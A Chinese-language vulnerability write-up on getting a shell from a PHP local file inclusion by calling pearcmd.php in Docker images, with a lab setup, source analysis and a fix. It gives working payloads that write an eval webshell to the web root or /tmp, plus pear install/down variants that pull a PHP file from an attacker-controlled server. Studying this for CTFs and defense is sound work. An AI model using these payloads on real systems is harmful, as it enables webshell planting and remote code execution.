0x01 漏洞描述
通过一个本地文件包含漏洞就达到 getshell,也叫 PHP 裸本地文件包含。尤其在 Docker 这种干净的环境中,本身缺少很多命令和利用环境,利用 pearcmd 的方法就可以不依赖文件上传写入 shell。
Pear(PHP Extension and Application Repository) 将 PHP 程序开发过程中常用的功能编写成类库,涵盖了页面呈现、数据库访问、文件操作、数据结构、缓存操作、网络协议、WebService 等许多方面,用户可以通过下载这些类库并适当的作一些定制以实现自己需要的功能。避免重复发明“车轮”。
Pear 在 PHP 7.3 及以前版本是默认安装的,后续只会在编译 PHP 的时候使用--with-pear
参数才会安装。但 Docker 任意版本的镜像中都包含了 pear。
Pear 的本质是一个命令行工具,pearcmd.php 默认的安装路径为/usr/local/lib/php/pearcmd.php
。在命令行状态下,可以使用 pear 或者 /usr/local/lib/php/pearcmd.php 执行命令。
0x02 漏洞复现
利用条件
- 安装
pecl/pear
- php.ini 中
register_argc_argv=On
开启 - 存在文件包含
在 Docker 环境下 register_argc_argv=On 默认开启,且 Docker 下任意版本都安装了 pear。只需要在 Docker 环境下构建一个存在文件包含的场景就可以了。
大部分的 CTF 题目都是在 Docker 环境中搭建的,由于 Docker 环境中任何 PHP 版本都会自带 pear 和开启 register_argc_argv,因此只要出现了文件包含,就可以利用这个漏洞 getshell,并且绝大多数情况都可以绕过题目的限制。
环境搭建
为了方便直接使用 Docker 进行拉取
1 | docker pull php:7.0-apache |
创建一个目录
1 | mkdir /php/www |
写一个文件包含,参数是page
1 | vim /php/www/index.php |
1 |
|
启动容器
1 | docker run -itd -v /php/www:/var/www/html -p 80:80 php:7.0-apache |
访问一下http://127.0.0.1/index.php
,如果页面显示”index“说明完成了环境搭建。
漏洞利用
首先使用 pear 工具中的 config-create 命令,上面的 index.php 中,我们故意写了一个文件包含功能,参数是page
,所以在 payload 中,需要使用page
参数包含 pearcmd.php 调用这个工具,之后编写木马并写入/var/www/html/shell.php
。
根据以上原理,拼写 payload。
1 | ?page=/usr/local/lib/php/pearcmd.php&+config-create+/<?@eval($_POST['shell']);?>+/var/www/html/shell.php |
对网站抓包,发送 payload,可以从响应包里看见执行了 pear 的命令。
使用蚁剑连接,成功连接。
0x03 漏洞分析
漏洞原理
查看 pearcmd.php 发现了一个关键字argv
是传递命令行参数的,其中使用了readPHPArgv()
函数。
1 | PEAR_Command::setFrontendType('CLI'); |
跟进到 Console/Getopt.php
的readPHPArgv()
函数内。
1 | public static function readPHPArgv() |
不过这里可以思考,既然 pear 是一个命令行工具。如果参数可控,是不是就可以通过控制参数,利用 pear 工具。
测试一下,写一个arg.php
1 |
|
写几个参数访问一下http://127.0.0.1/arg.php?id=1&type=1
,可以看见,$_SERVER
是可控的,获取的是 GET 请求的参数。
1 | NULL |
通过上面的打印结果发现,$_SERVER
并不认为&
符号是参数的分隔符,而是将+
作为分隔符。
接下来看看 Pear 的命令表
1 | Commands: |
其中可以看到config-create
是添加配置文件的命令,这个命令的功能是传入一个绝对路径,把这个路径拼接到配置文件中,但这个配置文件的路径是我们可以指定的。
在终端执行下面的命令,测试一下,将/test@
拼接到配置路径中,并把配置文件放到/var/www/html/test.php
目录下。(这里需要注意两个地方都需要填写绝对路径。)
1 | pear config-create /test@ /var/www/html/test.php |
打开test.php
可以看出来使用的/test@
确实被拼接,并且写入到文件内。
再来看看上面的 payload 就可以了解其中的含义了。通过文件包含使用pearcmd.php
,以+
作为参数分隔符,使用config-create
命令将<?@eval($_POST['shell']);
写入/var/www/html/shell.php
。
1 | ?page=/usr/local/lib/php/pearcmd.php&+config-create+/<?@eval($_POST['shell']);?>+/var/www/html/shell.php |
低权限写入
有时候我们会遇到 Web 目录没有写入权限、不知道 Web 目录的绝对路径、白名单不允许上传 PHP 文件这种情况。
这时候就可以将木马写入低权限的/tmp
目录下,并利用文件包含的特性触发漏洞。这里将文件路径改为/tmp
下并把文件后缀改为txt
,写入低权限目录。
1 | ?page=/usr/local/lib/php/pearcmd.php&+config-create+/<?@eval($_POST['shell']);?>+/tmp/shell.txt |
再包含/tmp/shell.txt
,使用蚁剑进行连接,显示连接成功。
漏洞利用拓展
远程安装
使用 VPS 或虚拟机,新建一个phpinfo.php
1 |
|
这里使用 Python 开启一个服务,模拟 VPS 上一个可以被访问的文件。
1 | python3 -m http.server |
pear 的 install 命令如下
1 | pear install VPS/phpinfo.php |
根据命令构造 Payload
1 | ?page=/usr/local/lib/php/pearcmd.php&+install+http://192.168.128.131:8000/phpinfo.php |
默认的包安装路径是在/tmp/pear/download/
下。
访问一下http://127.0.0.1/index.php?page=/tmp/pear/download/phpinfo.php
,可以看见返回了 phpinfo 的界面。
远程下载
使用
1 | pear down http://vps/phpinfo.php |
同理构造一下
1 | ?page=/usr/local/lib/php/pearcmd.php&+down+http://192.168.128.131:8000/phpinfo.php |
默认路径就是在 Web 目录下,并且还会返回 Web 目录的绝对路径。
0x04 修复建议
将 php.ini 中的register_argc_argv
设置为Off
0x05 参考
https://www.leavesongs.com/PENETRATION/Docker-php-include-getshell.html